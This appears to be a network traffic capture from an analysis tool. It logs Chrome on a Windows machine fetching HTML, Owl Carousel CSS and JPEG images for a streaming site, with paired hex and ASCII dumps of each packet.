2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 71 50 56 69 47 70 6a 57 76 66 61 65 6e 66 2d 32 69 50 55 71 6a 4b 53 35 72 5f 77 75 4e 2d 51 7a 78 51 63 66 6c 69 55 67 43 69 59 39 43 74 35 79 41 50 4a 67 36 33 33 47 7a 65 62 70 67 6d 59 79 58 6a 72 69 45 71 62 38 49 45 2d 36 4f 46 5f 52 4c 2f 77 31 32 30 30 2d 68 36 33 30 2d 70 2d 6b 2d 6e 6f 2d 6e 75 2f 49 4d 47 5f 32 30 32 34 30 39 31 33 5f 30 32 33 34 30 37 5f 38 36 34 2e 6a 70 67 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 69 6d 61 67 65 27 2f 3e 0a 3c 74 69 74 6c 65 3e 0a d9 85 d8 a7 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 d9 84 d8 a7 d9 8a d9 81 20 4d 59 43 49 4d 41 0a 3c 2f 74 69 74 6c 65 3e 0a 3c 21 2d 2d 20 4a 53 20 48 65 61 64 20 2d 2d 3e 0a 3c 21 2d 2d 20 4a 53 20 48 65 61 64 20 2d 2d 3e 0a 3c 21 2d 2d 20 46 6f 6e 74 73 20 47 6f 6f 67 6c 65 20 Data Ascii: qPViGpjWvfaenf-2iPUqjKS5r_wuN-QzxQcfliUgCiY9Ct5yAPJg633GzebpgmYyXjriEqb8IE-6OF_RL/w1200-h630-p-k-no-nu/IMG_20240913_023407_864.jpg' property='og:image'/><title> MYCIMA</title>... JS Head -->... JS Head -->... Fonts Google
2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 d9 85 d8 a7 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 3a 20 d9 85 d8 b4 d8 a7 d9 87 d8 af d8 a9 20 d8 b3 d9 8a d9 85 d8 a7 20 4d 59 43 49 4d 41 20 0a d9 85 d9 88 d9 82 d8 b9 20 d9 85 d8 a7 d9 89 20 d8 b3 d9 8a d9 85 d8 a7 20 4d 59 43 49 4d 41 20 d9 88 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 57 45 43 49 4d 41 20 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 d9 85 d8 a8 d8 a7 d8 b4 d8 b1 d8 a9 27 20 6e 61 6d 65 3d 27 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 27 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 d9 85 d8 a7 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 d9 84 d8 a7 d9 8a d9 81 20 4d 59 43 49 4d 41 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 27 2f 3e 0a Data Ascii: <meta content=' : MYCIMA MYCIMA WECIMA ' name='og:description'/><meta content=' MYCIMA' property='og:site_name'/>
2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2f 2a 2a 0a 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 2a 2f 0a 2f 2a 0a 2a 20 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 2d 20 43 6f 72 65 0a 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 7b 0a 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 77 Data Ascii: --------------------------- //** Owl Carousel v2.3.4* Copyright 2013-2018 David Deutsch* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE//* Owl Carousel - Core*/.owl-carousel {display: none;w
2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 0a 77 69 64 74 68 3a 20 31 30 30 25 3b 20 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 2e 64 69 73 61 62 6c 65 64 2c 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 64 6f 74 73 2e 64 69 73 61 62 6c 65 64 20 7b 0a 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 70 72 65 76 2c 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 6e 65 78 74 2c 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 64 6f 74 20 7b 0a 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 Data Ascii: width: 100%; }.owl-carousel .owl-nav.disabled,.owl-carousel .owl-dots.disabled {display: none; }.owl-carousel .owl-nav .owl-prev,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-dot {cursor: pointer;-webkit-user-select: none;-khtml-user-selec
2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 66 61 64 65 4f 75 74 3b 20 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 4f 75 74 20 7b 0a 30 25 20 7b 0a 6f 70 61 63 69 74 79 3a 20 31 3b 20 7d 0a 31 30 30 25 20 7b 0a 6f 70 61 63 69 74 79 3a 20 30 3b 20 7d 20 7d 0a 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 2d 20 41 75 74 6f 20 48 65 69 67 68 74 20 50 6c 75 67 69 6e 0a 2a 2f 0a 2e 6f 77 6c 2d 68 65 69 67 68 74 20 7b 0a 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 20 7d 0a 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 2d 20 4c 61 7a 79 20 4c 6f 61 64 20 50 6c 75 67 69 6e 0a 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 7b 0a 2f 2a 2a 0a 54 68 69 73 20 69 73 20 69 6e 74 72 6f Data Ascii: fadeOut; }@keyframes fadeOut {0% {opacity: 1; }100% {opacity: 0; } }/** Owl Carousel - Auto Height Plugin/.owl-height {transition: height 500ms ease-in-out; }/* Owl Carousel - Lazy Load Plugin/.owl-carousel .owl-item {/*This is intro
2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 0a 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 0a 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 34 30 30 6d 73 20 65 61 73 65 3b 20 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 76 69 64 65 6f 2d 66 72 61 6d 65 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 77 69 64 74 68 3a 20 31 30 30 25 3b 20 7d 0a 2f 2a 2a 0a 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 Data Ascii: height: 100%;background-position: center center;background-repeat: no-repeat;background-size: contain;transition: opacity 400ms ease; }.owl-carousel .owl-video-frame {position: relative;z-index: 1;height: 100%;width: 100%; }/*** Owl Carousel v
2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 7d 0a 65 6d 20 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 7d 0a 68 65 61 64 65 72 2c 20 73 65 63 74 69 6f 6e 2c 20 61 73 69 64 65 2c 20 6e 61 76 2c 20 66 6f 6f 74 65 72 2c 20 61 72 74 69 63 6c 65 2c 20 66 69 67 75 72 65 2c 20 66 6f 72 6d 2c 20 69 6d 67 20 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 20 2e 34 73 20 61 6c 6c 20 65 61 73 65 3b 7d 0a 6c 69 20 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 7d 0a 61 20 7b 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 7d 0a 68 74 6d 6c 20 7b 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 6f 76 65 72 66 6c Data Ascii: sition: center;}em {font-style: normal;}header, section, aside, nav, footer, article, figure, form, img {display: block;position: relative;transition: .4s all ease;}li {list-style: none;}a {color: #fff;text-decoration: none;}html {height: auto;overfl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49730	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:47 UTC	875	OUT	GET /img/a/AVvXsEiTV-7Y2I-d67KrsXYeIouYAFpW5ubJhPjx7l6sbDTzEQM9hVfKlnXCW8nD01dufMkXG0RutlWWVJKy0qAkoqseene4q0eVlaID9BCe28OqBA9SN_Yjy-al3Ef6FedD80doXoz7UE1RESRxhFyHfFovuOoNPVN3ABwjXSb87O9QqO1nFtiOju4OIOF8u0o=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:48 UTC	472	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd43" Expires: Tue, 15 Oct 2024 22:39:48 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="netflix-logo.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:48 GMT Server: fife Content-Length: 5203 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:48 UTC	906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 a9 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220,C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: 46 51 00 00 00 00 00 00 00 00 00 00 00 00 00 67 c1 9c c5 1d c8 9a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 ab 9b 26 73 ff c4 00 28 10 00 00 05 04 01 03 04 03 01 00 00 00 00 00 00 00 00 01 02 03 04 10 11 31 33 05 12 14 50 13 21 32 34 20 22 23 40 ff da 00 08 01 01 00 01 05 02 33 f7 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 41 fb 1e 7c 22 30 79 f0 88 c1 e7 c2 23 07 9f 08 8c 1e 7c 22 30 79 f0 88 c1 e6 9c 78 75 1d 6d 88 1a a6 e8 6f 65 85 85 87 20 21 68 b0 b0 b0 99 f6 19 2f e3 61 61 37 47 1f 99 3a 2a d9 7f 39 fb a0 aa ce 9a 48 c9 69 e8 5c 16 ec 89 0a 26 da aa 30 79 a7 1d 49 68 e8 7b 8f d5 3b 43 7b 03 d2 5c 43 bd Data Ascii: FQg&s(13P!24 "#@3A\|"0y#\|"0yxumoe !h/aa7G:*9Hi\&0yIh{;C{\C
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: af 09 bf c4 05 6c a8 1d 2b 42 d0 57 86 df e2 73 43 b7 45 80 8c 53 18 19 b2 31 1c b2 1f 79 ff c4 00 2b 10 00 02 01 02 04 06 02 02 02 03 00 00 00 00 00 00 00 02 01 10 71 11 12 21 81 20 30 31 41 51 91 22 32 42 61 40 a1 62 70 80 ff da 00 08 01 01 00 06 3f 02 ff 00 83 5c 65 a3 5c dc 5b f0 21 bf 03 09 6a cd c7 1f 81 6c 6c 65 9f c8 c2 60 95 9e c4 bc f7 26 7b f6 e4 3d 27 c4 ea 35 cd c5 bd 19 63 0c 20 eb 1e 88 cd d8 ca b8 60 60 dd 30 26 4e b1 e8 cc dd 44 b1 82 f4 c0 eb 1e 8c ad 86 03 8f 6e 05 b1 b1 13 04 37 91 66 3f 2d 08 88 e9 06 5e d1 c8 7a 43 78 1a e6 e2 de 8f 7e 0d 86 b5 52 c4 58 e9 47 1e dc 0b 63 6a 4a 78 a4 b4 f6 26 67 90 e6 a4 ac f7 1e 3f c8 dc 5b d6 6d 5d 86 b5 52 d5 7b 8e 3d b8 16 c6 d4 59 da 90 9b cf 25 c7 15 bc 8d fb d4 dc 5b d1 96 27 48 3a ff 00 55 d8 Data Ascii: l+BWsCES1y+q! 01AQ"2Ba@bp?\e\[!jlle`&{='5c ``0&NDn7f?-^zCx~RXGcjJx&g?[m]R{=Y%['H:U
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: 6b 3f 54 e3 5c 19 4e 3d ca 95 47 c9 89 98 d0 70 9d 79 d4 aa 30 bb 8c 44 46 4b cd e5 49 9c 81 ee ef 49 73 41 63 47 7a 4c 12 ca 23 94 e7 3a 72 e0 e3 5a 19 4f d9 58 43 e4 3c 5a 79 eb 47 5a b3 44 43 e5 a4 38 b8 b2 26 d9 66 62 7c 37 3b aa 34 c7 fe de af da b7 3f 75 ef 1b 34 2c 00 b3 79 d2 d2 a7 8b 37 f3 4e 15 25 cb 7c 2a 55 06 30 b3 4f 3b 30 74 a7 2d 0e 22 b5 8b f9 bf 07 ac 6e d2 50 52 5f 9e 1e 88 df ec ef 41 68 66 e8 c3 cb b7 c3 73 ba 93 9e 47 a8 a8 fd 79 a7 77 21 bc 7a af 78 d9 a9 b6 09 30 31 2d cf 87 b5 b0 e0 6b 29 02 da 94 d6 84 66 f1 cb 45 ac 5f cd f8 3d 63 76 bd a5 62 52 b3 67 de cd 03 93 82 3a 47 fb 3d fe 1b 9d d5 33 36 60 f4 54 f5 8f 6a f6 1b 57 bc 6c d4 2f 04 b9 e6 d2 ba cd 97 ea 0f dd 7b 5b 0e 1f bb 4e 17 f6 20 3c a9 59 13 f3 ab 42 03 43 76 b1 61 80 Data Ascii: k?T\N=Gpy0DFKIIsAcGzL#:rZOXC<ZyGZDC8&fb\|7;4?u4,y7N%\|*U0O;0t-"nPR_AhfsGyw!zx01-k)fE_=cvbRg:G=36`TjWl/{[N <YBCva
2024-10-14 22:39:48 UTC	163	IN	Data Raw: 1f a9 da ef 74 c6 d7 e6 05 fb 8b 20 5e 05 2c 78 b1 03 d0 b8 0c 22 97 05 12 eb cb 42 21 50 0a 81 0c 17 94 bd 34 b5 e6 8e 92 80 6b 4f 78 2c de ff 00 ca 62 4d ee 26 a5 6c fa 62 a9 99 ac a3 58 1a ca 2b 42 99 47 06 41 59 ae 15 fe c1 c2 60 ba b0 1f ec 42 56 2f 20 8b 75 6f 3b 59 55 77 d0 7c af 3f 72 a8 2a d0 b1 d3 a3 1e 35 eb 45 4f a6 f6 95 a7 30 d4 31 c4 54 ff 00 b1 5a bb 9a a4 3e 94 f8 51 69 ac 6d c7 8d 7b d1 71 e3 5e f4 5c 78 d7 bd 17 1e 35 ef 45 c7 8d 7b e8 a8 1d fd e6 bd e8 b8 f1 ff d9 Data Ascii: t ^,x"B!P4kOx,bM&lbX+BGAY`BV/ uo;YUw\|?r*5EO01TZ>Qim{q^\x5E{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49731	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:47 UTC	875	OUT	GET /img/a/AVvXsEie-I9BcwAGL-Q2otyHHcocnNO7wYJMLIE_wTDb_VUERu_pttcU4fYTdaJisnLRZ8gVgbZI0ZYBRHx7rOkyP9hw7NUCQmCO_7-0Wd9SE3HB7nfuulr4lY56tKQojf_Z66W51J6snBywAoV2ZSoC2X6gqRQT2qkfXYAUx5CkArxObmMxnMfLGEBWNU9v7DE=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:48 UTC	487	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd45" Expires: Tue, 15 Oct 2024 22:39:48 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="615bcad9532673914c702a7b9d8.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:48 GMT Server: fife Content-Length: 9272 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:48 UTC	891	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 5e 01 00 00 03 a0 04 00 01 00 00 00 92 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220^C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: b7 68 c5 05 a5 f6 54 60 e1 b3 8a 9b 7c 5e e8 6c a8 50 58 b5 4e db cb 16 01 00 81 2d 90 0b 30 c8 d0 b6 a0 90 84 77 36 a4 d1 0e 5a d1 ea 16 13 bd 54 82 26 6e 8d b8 3a 3c a4 f4 88 f3 d2 0e e9 96 34 ec ad 7d 3e 52 c0 d7 7c cf c0 55 0c d9 63 2a 35 ae 68 a5 ae 63 cb 47 ba 57 4f 3c ba 1d 92 85 e7 13 b8 0e 40 f0 66 d2 27 44 2c c3 36 cd f0 96 ec 50 ab d1 05 2a bd 2c 7a 29 d6 b2 43 ac 8e f9 2f 2a 4a 99 76 d9 e7 ac bb 6a f2 5e 74 77 96 92 8f 2b 72 3e 52 ac 25 6b c4 ef c5 f9 a2 62 cb 59 0d 91 42 4d 35 75 7b 16 fb 19 45 97 b0 6c 62 cb da b6 45 e4 d5 99 54 01 dd 0e eb 3a 15 47 80 ff 00 73 a0 3e 05 a8 c6 28 1e 34 58 38 d1 2e bd 5a ba f7 e5 48 68 cc 62 91 ca b4 9c 64 6d 06 13 8d 53 bd 81 6b 53 b2 c9 d1 40 35 83 74 cb 75 e4 d3 57 50 93 4e 19 22 cd 3e c6 61 25 eb 5f 30 b0 Data Ascii: hT`\|^lPXN-0w6ZT&n:<4}>R\|Uc5hcGWO<@f'D,6P,z)C/*Jvj^tw+r>R%kbYBM5u{ElbET:Gs>(4X8.ZHhbdmSkS@5tuWPN">a%_0
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: c8 a4 6e 28 11 ac 8d 44 6a 23 4a 3a d1 a0 fd 0e 7e 22 cb 63 b4 66 b0 c6 cc 99 32 6c 6c 6c 6e 6c 64 d8 d8 d8 d8 c9 93 22 62 66 4f 62 6c 8e 44 21 0b ce 45 11 44 4b c2 91 b0 e6 39 64 91 93 63 b0 b1 29 8e b6 3f 44 12 6b 8f 0a ec aa 55 55 8b 21 41 6d 50 8a 9c 6a 1c 61 d5 a4 36 b6 0a 34 fb cc b5 46 be da 49 cb f8 bc b3 2c cb 36 66 f2 37 91 b4 8d a4 29 c8 53 90 a7 23 b2 47 64 87 64 8e d6 29 1b 9d 87 61 da 76 8e 48 dc 73 36 32 64 d8 ec 25 ab 1c 50 e2 8d 4d 4d 0d 0c 18 f8 e3 c6 0c 18 30 60 c1 a8 a2 28 8a 22 47 af 0c d5 18 30 63 e1 9f 86 7f c3 93 2c f6 7b 30 cc 33 f9 1f c8 4a 42 52 12 91 89 8b 71 6e 27 23 32 36 97 f9 1f f8 17 fc 3f ff c4 00 2d 11 00 01 04 01 03 02 04 04 07 00 00 00 00 00 00 00 00 01 02 03 11 12 04 13 21 10 20 14 22 32 41 23 31 61 81 30 40 51 62 a1 Data Ascii: n(Dj#J:~"cf2lllnld"bfOblD!EDK9dc)?DkUU!AmPja64FI,6f7)S#Gdd)avHs62d%PMM0`("G0c,{03JBRqn'#26?-! "2A#1a0@Qb
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: dd 7b a3 34 91 cc a1 05 a6 9f 88 40 97 b3 65 d9 80 cc 3d 93 36 98 7b c8 4f f8 79 49 26 9e c8 e4 96 c1 27 cd 13 db 00 98 6c 7e 53 0c 44 ba 36 56 62 68 39 29 1c 35 f7 01 68 d9 9a 1f 45 3a 36 4c f3 29 d6 cc 3e 90 83 f3 3e 01 9b a3 51 d5 36 a3 9a 02 45 4a 6e d0 b2 cb a1 21 df b9 13 3f dc 20 0b cc 74 75 54 69 74 4d 23 f6 d1 3d ba 18 69 3c 9f 45 95 c2 a1 59 5b 77 4d dd 75 f6 c5 47 35 10 3f da cc 2d cc 20 6e 2e 30 0d 77 29 5f ca 6f 85 4b a0 14 0e 54 41 b9 64 94 06 5a 6a 53 86 a6 ac 8c 2b e9 37 59 d9 74 74 7a 4b 72 44 3b 9d 71 6f 85 5b a8 1e a2 b3 3a cb 39 be fa 9c 25 16 53 6e 4b 3b 07 f1 84 8c 19 e1 43 6a f5 99 f6 5d ba 7c 9b a1 52 3f ea 2e b2 6b 18 23 f2 a7 49 ed b9 b2 b6 16 56 56 56 e0 29 ba a5 47 42 b9 85 41 1f 39 ba ba ba ba bf 09 52 24 d9 6d 50 ce 5f 7b 23 Data Ascii: {4@e=6{OyI&'l~SD6Vbh9)5hE:6L)>>Q6EJn!? tuTitM#=i<EY[wMuG5?- n.0w)_oKTAdZjS+7YttzKrD;qo[:9%SnK;Cj]\|R?.k#IVVV)GBA9R$mP_{#
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: c5 e5 22 38 3b 46 a1 a5 65 8c 21 7d d9 34 26 f8 ca 13 5c 26 9a b0 95 7f 2b 4f 96 aa 72 fa 89 0c f7 6f 22 11 48 5b 0d 04 87 dc 6b b3 3b 0e f1 3e 44 12 16 8c 30 8a 88 82 1d 07 d8 7d 87 dc 7d 8e c1 94 0f 82 9d 09 bd 14 f1 8a e6 4e f8 26 ce e7 58 f6 61 56 dc 31 45 8d ac ad 06 a9 74 5a 1b fa 2a 1b 57 0a 75 59 84 89 1a b2 d1 14 24 20 40 88 83 a9 89 76 63 d0 f2 26 76 0c 93 a8 1a 84 ca a2 1d 44 a1 05 28 68 64 85 3d 0a 42 15 0b a8 a7 83 6a 37 a1 b2 45 d2 3d a9 2e 74 12 25 16 91 c2 42 82 45 10 60 5d bc c8 02 be ec 8a b0 e4 4a 24 3e 02 44 b9 33 5f 3c e9 21 3b 13 e1 1a 60 4c 25 80 df 08 4a 86 bc 0c 9a f0 27 26 80 f5 14 db 85 0c 9d 32 01 1d c3 a0 3d e0 45 71 fa 17 0c 95 b8 4f 91 fe 26 6e c7 ec 4d b1 3d 8d 80 c5 30 e5 83 2d 89 ad 93 d9 e8 5c 09 10 89 e2 7c 38 05 c2 74 Data Ascii: "8;Fe!}4&\&+Oro"H[k;>D0}}N&XaV1EtZ*WuY$ @vc&vD(hd=Bj7E=.t%BE`]J$>D3_<!;`L%J'&2=EqO&nM=0-\\|8t
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: 66 67 9c a6 ba 66 ed 7c 57 8e 62 11 d0 59 36 bc 7d a2 aa 81 a7 1d b0 fb d5 43 4f 59 ad 69 ad cd 89 52 eb a5 e1 08 03 88 c2 f4 68 d6 2d 39 71 02 8f 8c 62 8f 5c e1 f9 3d cc 70 4c 28 3c f6 79 0f 3a fe ed 2a 29 00 ff 00 8c 2a f5 e7 d2 f5 78 cc 0f 63 57 fc 3d fd 72 6f d7 ee f3 07 d0 22 23 32 8f 09 98 0f 4b 2c 22 48 74 aa b2 92 a6 d0 ed 3e 27 cf 0f 78 6c bb 5d c7 c3 17 5f 72 bb bf 77 e2 55 6c ba bb be 65 65 62 08 b5 b4 a7 68 f6 cb 45 30 44 65 1d 23 02 dd 61 02 1b 20 26 65 e1 10 13 63 5f de 99 f1 29 0b 17 e3 f3 0f 36 cb b9 09 53 5f bf f5 79 9a 66 ec 13 04 55 d8 8a 89 17 12 2a 5a 0e 26 52 56 12 56 04 a4 31 d0 45 bd 2b a2 e6 08 ae 62 f9 8b cc 57 31 ef 8f 7c 14 61 0f a4 e8 7d 6c 74 ea 3d 3f ff c4 00 26 10 01 00 02 02 02 02 02 02 03 01 01 01 00 00 00 00 01 00 11 21 Data Ascii: 